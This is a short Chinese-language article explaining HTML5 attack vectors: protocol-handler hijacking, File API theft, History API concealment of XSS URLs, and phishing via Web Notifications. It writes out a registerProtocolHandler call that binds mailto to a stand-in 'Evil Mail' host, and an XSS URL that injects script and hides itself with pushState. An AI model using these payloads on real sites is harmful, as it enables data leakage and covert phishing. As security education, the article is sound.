HTML5安全風險詳析之六:API攻擊
HTML5裡有許多協議、模式和API,可能成為攻擊者的攻擊途徑。
一、registerProtocolHandler:資訊洩漏
HTML5允許某些協議和schema註冊為新的特性。例如下面的語句可以註冊一個email handler。
navigator.registerProtocolHandler(“mailto”,“http://www.f.com/?uri=%s", “Evil Mail");
它會將一個惡意網站處理器關聯到mailto這個協議上,所以它在某些情況下的濫用會導致使用者資訊洩漏。
二、檔案API:竊取檔案
HTML5另外一些API從安全形度來看很有意思,它們還能混合起來使用。
例如檔案API允許瀏覽器訪問本地檔案,攻擊者可以將它與點選劫持和其他攻擊混合起來獲得使用者本地的檔案。比如騙取你從本地拖放檔案到頁面裡,這種方法在劫持攻擊一文中有較詳細的闡述。
三、歷史API:隱藏XSS URL
利用HTML5歷史API的pushState,可以隱藏瀏覽器位址列的攻擊URL。例如我在瀏覽器位址列輸入
http://test.baidu.com/?text=</div><script>history.pushState({},'',location.href.split("?").shift());document.write(1)</script>
這個問題和現在流行的短網址技術結合起來,具有更大的隱蔽性。想象一下我們在微博上看到一個短網址,不會有任何懷疑就會點選這個地址檢視內容,而最後看到的地址也是相當正常的,但是在這個過程中使用者的資訊和資料就不知不覺被盜取了。
短URL結合歷史API的攻擊
四、Web Notifications:盜取資料
Web Notifications讓我們在瀏覽器中能夠接收推送的訊息通知,但是它有可能會被攻擊者利用來構造虛假資訊,騙取使用者資料。
例如下圖裡右下角的彈窗通知看起來非常正常,需要我們輸入Gmail密碼來登入檢視新郵件。但是一旦輸入密碼,Gmail郵箱就被盜取了。我們可以仔細看看,彈窗左上角顯示的域名是gmai1.com!這正是一個釣魚網站的欺詐手段。
桌面通知攻擊
最後,隨著HTML5的發展,未來還可能出現新的HTML5安全問題,還可能還會向著複雜化和智慧化去發展。
相關文章: